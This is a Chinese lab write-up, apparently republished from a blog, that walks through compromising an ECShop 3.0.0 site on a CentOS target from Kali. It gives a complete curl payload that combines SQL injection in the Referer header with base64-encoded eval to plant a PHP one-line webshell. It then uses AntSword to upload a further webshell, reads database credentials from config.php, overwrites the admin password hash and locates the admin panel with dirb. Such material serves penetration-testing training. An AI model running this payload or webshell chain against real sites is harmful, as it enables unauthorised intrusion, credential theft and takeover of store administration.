kali-钓鱼网站远程代码漏洞分析

文章目录

  • 一、靶场搭建
  • 二、开始信息收集,寻找漏洞
  • 三、使用蚁剑连接后门程序
  • 四、使用webshell查看数据库信息
  • 五、进入网站后台

实验环境

Kali

CentOs

一、靶场搭建

CentOsIP地址192.168.64.159

#关闭centos防火墙
[root@localhost ~]# systemctl disable --now firewalld

#关闭  selinux
[root@localhost ~]#  sed -i 's/SELINUX=enforcing/SELINUX=disabled/g' /etc/selinux/config

#重启
[root@localhost ~]#reboot

注:sed 命令是将/etc/selinux/config 文件中的 SELINUX=enforcing 替换成SELINUX=disabled。

修改完需要重启,才能生效

安装 LAMP 环境

[root@localhost ~]# yum -y install httpd mariadb-server mariadb php php-mysql php-gd php-mbstring

修改配置文件httpd.conf

[root@localhost ~]# vim /etc/httpd/conf/httpd.conf
改:95  #ServerName www.example.com:80
新:95:ServerName loaclhost:80
改:164     DirectoryIndex index.html
新:164     DirectoryIndex index.html index.php

wq保存退出

#启动httpd服务
[root@localhost ~]# systemctl enable httpd --now
Created symlink from /etc/systemd/system/multi-user.target.wants/httpd.service to /usr/lib/systemd/system/httpd.service.
#启动mariadb服务
[root@localhost ~]# systemctl enable mariadb --now
Created symlink from /etc/systemd/system/multi-user.target.wants/mariadb.service to /usr/lib/systemd/system/mariadb.service.
#设置数据库账号密码
[root@localhost ~]# mysqladmin -u root password  
New password: qwe@@@123456789AAAAAAAAA
Confirm new password: qwe@@@123456789AAAAAAAAA

上传 ecshop 到 linux 主机并解压到网站目录下

#上传
[root@localhost ~]# rz -bey

#解压
[root@localhost ~]# unzip ecshop.zip

#移动
[root@localhost ~]# mv ecshop/* /var/www/html

#给apache用户分配网站的只读权限
[root@localhost ~]# chown -R apache:apache /var/www/html/

Kali 中修改 hosts 文件,加入如下记录

192.168.64.159 www.jd.com.abcgood123.com

在这里插入图片描述

浏览器打开http://www.jd.com.abcgood123.com/install/index.php

在这里插入图片描述

一直同意,下一步,直到配置系统界面

使用之前配置的数据库账户:root 密码是:qwe@@@123456789AAAAAAAAA

配置一个网站管理员账户:admin 密码是: qwer123456
在这里插入图片描述

安装完成后,前往后台管理中心,输入网站管理员用户名,密码,配置一些基本信息

在这里插入图片描述

系统设置-支付方式-银行汇款/转帐-编辑

在这里插入图片描述

系统设置-配送方式-顺丰速运-安装-设置区域-新建配送区域

在这里插入图片描述

删除没有用的的文件:

[root@xuegod63 html]# cd /var/www/html/
[root@xuegod63 html]# mv install/ /opt/
[root@xuegod63 html]# mv demo/ /opt/

二、开始信息收集,寻找漏洞

kali修改host文件

┌──(root㉿kali)-[~]
└─#  vim   /etc/hosts

在这里插入图片描述

访问网站,注册账号

在这里插入图片描述

打开网站首页,在网页源代码中可以获取到网站框架

在这里插入图片描述

whatweb命令可以看到服务器类型,php版本等信息

┌──(root㉿kali)-[~]
└─# whatweb http://www.jd.com.abcgood123.com/
http://www.jd.com.abcgood123.com/ [200 OK] Apache[2.4.6], Cookies[ECS[visit_times],ECS_ID], Country[RESERVED][ZZ], ECShop[3.0.0], HTTPServer[CentOS][Apache/2.4.6 (CentOS) PHP/5.4.16], IP[192.168.64.159], JQuery[1.11.3], MetaGenerator[ECSHOP v3.0.0], PHP[5.4.16], PoweredBy[ECShop], Script[text/javascript], Title[ECSHOP演示站 - Powered by ECShop], X-Powered-By[PHP/5.4.16] 

漏洞可以使用搜索引擎进行搜索

三、使用蚁剑连接后门程序

利用 payload 写入一句话并使用蚁剑连接上传 webshell

curl http://www.jd.com.abcgood123.com/user.php \
-d "action=login&vulnspy=eval/**/(base64_decode(ZmlsZV9wdXRfY29udGVudHMoJ3Z1bG5zcHkucGhwJywnPD9waHAgZXZhbCgkX1JFUVVFU1RbdnVsbnNweV0pOycpOw));exit;" \
-H 'Referer: 45ea207d7a2b68c49582d2d22adf953aads|a:3:{s:3:"num";s:207:"*/ select 1,0x2720756e696f6e2f2a,3,4,5,6,7,8,0x7b247b2476756c6e737079275d3b6576616c2f2a2a2f286261736536345f6465636f646528275a585a686243676b5831425055315262646e5673626e4e77655630704f773d3d2729293b2f2f7d7d,0--";s:2:"id";s:9:"'"'"' union/*";s:4:"name";s:3:"ads";}45ea207d7a2b68c49582d2d22adf953a'

这段代码是一个使用cURL工具向目标网站发送POST请求的示例。cURL是一个用于传输数据的命令行工具,支持多种协议,如HTTP、FTP等。

这段代码的主要功能是向网站发送一个POST请求,并传递两个参数:action和vulnspy。

  • “action=login”:设置action参数为login,这个参数可能是用来标识用户想要执行的操作。
  • “vulnspy=eval/**/(base64_decode(ZmlsZV9wdXRfY29udGVudHMoJ3Z1bG5zcHkucGhwJywnPD9waHAgZXZhbCgkX1JFUVVFU1RbdnVsbnNweV0pOycpOw));exit;”:
  • 括号里面的是经过base64解码的 file_put_contents('vulnspy.php','<?php eval($_REQUEST[vulnspy]);'); 语句,使用file_put_contents函数将一段PHP代码写入名为vulnspy.php的文件中。这段代码包含一个PHP代码块,这个代码块会在运行时执行传入的vulnspy变量。
  • eval($_REQUEST[vulnspy]);:这是一个PHP函数,用于执行传入的PHP代码。在这个例子中,vulnspy是一个变量,它的值应该是一段PHP代码。当这段代码被执行时,它会执行vulnspy变量中的PHP代码。
  • Referer字段中携带了sql注入。

使用 rz 命令上传AntSword-Loader-v4.0.3-linux-x64.zip、antSword- master.zip 和 webshell2.php到Kali

┌──(root㉿kali)-[~]
└─# rz -bey
┌──(root㉿kali)-[~]
└─# unzip AntSword-Loader-v4.0.3-linux-x64.zip
┌──(root㉿kali)-[~]
└─# unzip antSword-master.zip

启动蚁剑加载器

┌──(root㉿kali)-[~]
└─# cd AntSword-Loader-v4.0.3-linux-x64 
                                                                                                           
┌──(root㉿kali)-[~/AntSword-Loader-v4.0.3-linux-x64]
└─# ./AntSword   

首次打开加载器时,界面如下图所示:

在这里插入图片描述

点击「初始化」按钮,进入到antSword-master文件夹中,点击右下方OK

在这里插入图片描述

重新打开蚁剑加载器,即可看到蚁剑的主界面。在空白处单击鼠标右键,点击 添加数据

URL 地址:http://www.jd.com.abcgood123.com/vulnspy.php

连接密码:vulnspy

点击添加

在这里插入图片描述

双击点开我们添加的地址进入到网站目录中,上传功能更强大的木马文件 webshell2.php 到 temp 目录下

在这里插入图片描述

浏览器打开http://www.jd.com.abcgood123.com/temp/webshell2.php进入到webshell窗口

在这里插入图片描述

四、使用webshell查看数据库信息

在这里插入图片描述

找到config.php 然后点右边的edit 打开文件

在这里插入图片描述

可以看到数据库信息

在这里插入图片描述

连接数据库

在这里插入图片描述

找到admin_user数据库

在这里插入图片描述

可以看到靶场的管理员信息

在这里插入图片描述

密码使用了md5加密,Salt就是盐,盐就是一个随机生成的字符串。简而言之,加盐是为了增加密码的安全性。密码使用了MD5加密,而盐则是一个随机生成的字符串。在密码存储时,系统将盐与原始密码连接在一起,然后对连接后的字符串进行加密。由于盐是系统随机生成的且每个用户的盐不同,即使两个用户使用相同的密码,其散列值也是不同的。这样做可以防止黑客通过散列值字典等方式破解密码。

具体操作上,用户在首次提供密码(通常是注册时),系统会自动添加一些盐,然后进行散列。当用户登录时,系统会为用户提供的密码添加相同的盐,再进行散列,最后比较散列值以确定密码是否正确。这种方式提高了密码的安全性,因为即使攻击者获得了一个用户的散列值,由于盐的存在,无法直接在字典中查找对应的密码。

记录下来pwd和salt

pwd:5ac84bb56649b2eac8e0f56d0afe5152 
salt:9044

可以利用自己生成的散列值来替换原本密码的散列值

┌──(root㉿kali)-[~]
└─# echo -n 123456|md5sum
e10adc3949ba59abbe56e057f20f883e  -
#利用php语言输出加盐后的散列值
[root@xuegod63 ~]# php -r 'echo md5("e10adc3949ba59abbe56e057f20f883e"."9044");'
d7cdb1e266cd7e920683b27eaa190fba

回到webshell,SQL语句替换,点击查询

update xo_admin_user  set  password ="d7cdb1e266cd7e920683b27eaa190fba" where user_id =1

在这里插入图片描述

五、进入网站后台

开始扫描 网站后台地址:

┌──(root㉿kali)-[~]
└─# dirb http://www.jd.com.abcgood123.com -o jd.com.txt 

┌──(root㉿kali)-[~]
└─# vim jd.com.txt  

在这里插入图片描述

点击第一个,跳转到了后台登录界面,输入数据库获取的用户名admin以及自己设置的密码123456,成功进入后台

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mfbz.cn/a/264860.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

Unity头发飘动效果

Unity头发飘动 介绍动作做头发飘动头发骨骼绑定模拟物理组件 UnityChan插件下载UnityChan具体用法确定人物是否绑定好骨骼节点&#xff08;要做的部位比如头发等&#xff09;给人物添加SpringManager骨骼管理器给骨骼节点添加SpringBone这里给每个头发骨骼都添加上SpringBone。…

Linux学习教程(第十六章 Linux系统启动管理)二

第十六章 Linux系统启动管理&#xff08;二&#xff09; 九、Linux /boot/grub/目录分析 本章第一节就已经讲过&#xff0c;BIOS 在进行完成系统检测之后&#xff0c;就会找到第一个可以启动的设备&#xff0c;并读取该设备的 MBR&#xff08;主引导记录&#xff09;以及加载…

electron使用electron-builder进行MacOS的 打包、签名、公证、上架、自动更新

一、前言 由于electron在macOS下的坑太多&#xff0c;本文不可能把所有的问题都列出来&#xff0c;也不可能把所有的解决方案贴出来&#xff1b;本文也不太会讲解每一个配置点为什么要这么设置的原因&#xff0c;因为有些点我也说不清&#xff0c;我尽可能会说明的。所以&…

计算机的工作原理(上)

1. 计算机发展史 计算的需求在人类的历史中是广泛存在的&#xff0c;发展大体经历了从一般计算工具到机械计算机到目前的电子计算机的发展历程。&#xff08;以下是计算机的发展历程&#xff09; 1、公元前2500 年前&#xff0c;算盘已经出现了&#xff1b;除此之外&#xff0c…

Unity protobuf中repeated转C#文件List只读问题

Unity protobuf中repeated转C#文件List只读问题 介绍问题解决方案总结 介绍 工具这里我就不多介绍了&#xff0c;如果有用到ProtoGen工具的可以继续看一下我后面的方法。 问题 如下图所示&#xff0c;我这里随便用了一个.proto文件&#xff0c;看下我这里面的repeated标记的…

大一C语言作业题目1

目录 字符串和字符数组&#xff1f; %s found的变化&#xff1a; 7-1 学生成绩录入及查询 学生成绩表中&#xff0c;一名学生的信息包含如下信息&#xff1a; 学号(11位)、姓名、数学成绩、英语成绩、程序设计成绩、物理成绩。 本题要求编写程序&#xff0c;录入N条学生的…

【Amazon 实验②】使用缓存策略及源请求策略,用于控制边缘缓存的行为及回源行为

文章目录 1. 了解缓存策略和源请求策略1.1 使用缓存键和缓存策略 实验&#xff1a;使用CloudFront缓存策略和缓存键控制缓存行为 接上一篇文章【Amazon 实验①】使用 Amazon CloudFront加速Web内容分发&#xff0c;我们现在了解和配置如何使用缓存策略及源请求策略&#xff0c;…

NativePHP:使用 PHP 构建桌面应用程序

PHP 在我心中占据着特殊的位置。它是我的第一份工作&#xff0c;我记得我在家里花了无数个小时做一些小项目。我非常想用 PHP 创建桌面应用程序&#xff0c;但我从来没有做到过。 现在&#xff0c;感谢 NativePHP&#xff0c;我可以了。 NativePHP 追随 Slack、Discord 和 Tre…

trino-435版本windows下源码编译

一、源码下载地址 https://github.com/trinodb/trino/tags 二、编译环境及工具准备 1、maven &#xff08;1&#xff09;版本&#xff1a;3.6.3 &#xff08;2&#xff09;settings.xml配置 <?xml version"1.0" encoding"UTF-8"?> <settin…

基于Vite+Vue3 给项目引入Axios

基于ViteVue3 给项目引入Axios,方便与后端进行通信。 系列文章指路&#x1f449; 系列文章-基于Vue3创建前端项目并引入、配置常用的库和工具类 文章目录 安装依赖新建src/config/config.js 用于存放常用配置进行简单封装解决跨域问题调用尝试 安装依赖 npm install axios …

双向数据绑定是什么

一、什么是双向绑定 我们先从单向绑定切入单向绑定非常简单&#xff0c;就是把Model绑定到View&#xff0c;当我们用JavaScript代码更新Model时&#xff0c;View就会自动更新双向绑定就很容易联想到了&#xff0c;在单向绑定的基础上&#xff0c;用户更新了View&#xff0c;Mo…

SuperMap iServer发布的ArcGIS REST 地图服务如何通过ArcGIS API加载

作者&#xff1a;yx 文章目录 一、发布服务二、代码加载三、结果展示 一、发布服务 SuperMap iServer支持将地图发布为ArcGIS REST地图服务&#xff0c;您可以在发布服务时直接勾选ArcGIS REST地图服务&#xff0c;如下图所示&#xff1a; 也可以在已发布的地图服务中&#x…

linux分辨率添加

手动添加分辨率 注&#xff1a;添加分辨率需要显卡驱动支持&#xff0c;若显卡驱动有问题&#xff0c;则不能添加 可通过 xrandr 结果判断 # xrandr 若图中第二行” eDP“ 显示为 ” default “ &#xff0c;则显卡驱动加载失败&#xff0c;不能添加分辨率 1. 添加分辨率 # …

PHP下载安装以及基本配置

目录 引言 官网 下载 配置 1. 鼠标右键“此电脑”>“属性” 2. 打开高级系统设置 3. 打开环境变量 4. 双击系统变量中的path 5. 新建新的path 6. 将刚刚安装的位置加入环境变量 7. 检查是否安装成功 引言 PHP&#xff08;"PHP: Hypertext Preprocessor"…

零基础学C语言——数组

这是一个C语言系列文章&#xff0c;如果是初学者的话&#xff0c;建议先行阅读之前的文章。笔者也会按照章节顺序发布。 上一篇我们讨论过函数&#xff0c;其中涉及到了一些数组和指针&#xff0c;本篇详细说明数组。 数组定义 **数组是一种集合结构&#xff0c;与数学种谈到…

电脑完全重装教程——原版系统镜像安装

注意事项 本教程会清除所有个人文件 请谨慎操作 请谨慎操作 请谨慎操作 前言 本教程是以系统安装U盘为介质进行系统重装操作&#xff0c;照着流程操作会清除整个硬盘里的文件&#xff0c;请考虑清楚哦&#xff5e; 有些小伙伴可能随便在百度上找个WinPE作为启动盘就直接…

前端性能优化六:css阻塞

1. css加载会阻塞DOM树的解析和渲染吗? (1). html代码: <!DOCTYPE html> <html lang"en"><head><style>h1 {color: red !important}</style><script>function h () {console.log(document.querySelectorAll(h1))}setTimeout(…

Leetcode—445.两数相加II【中等】

2023每日刷题&#xff08;六十七&#xff09; Leetcode—445.两数相加II 实现代码 /*** Definition for singly-linked list.* struct ListNode {* int val;* struct ListNode *next;* };*/struct ListNode* addTwoNumbers(struct ListNode* l1, struct ListNode* l2…

[每周一更]-(第38期):Go常见的操作消息队列

在Go语言中&#xff0c;常见的消息队列有以下几种&#xff1a; RabbitMQ&#xff1a;RabbitMQ是一个开源的AMQP&#xff08;高级消息队列协议&#xff09;消息代理软件&#xff0c;用于支持多种编程语言&#xff0c;包括Go语言。RabbitMQ提供了可靠的消息传递机制和灵活的路由…

开源 AI 新秀崛起:Bittensor 更像是真正的“OpenAI”

强大的人工智能正在飞速发展&#xff0c;而完全由 OpenAI、Midjourney、Google&#xff08;Bard&#xff09;这样的少数公司控制 AI 不免让人感到担忧。在这样的背景下&#xff0c;试图用创新性解决方案处理人工智能中心化问题、权力集中于少数公司的 Bittensor&#xff0c;可谓…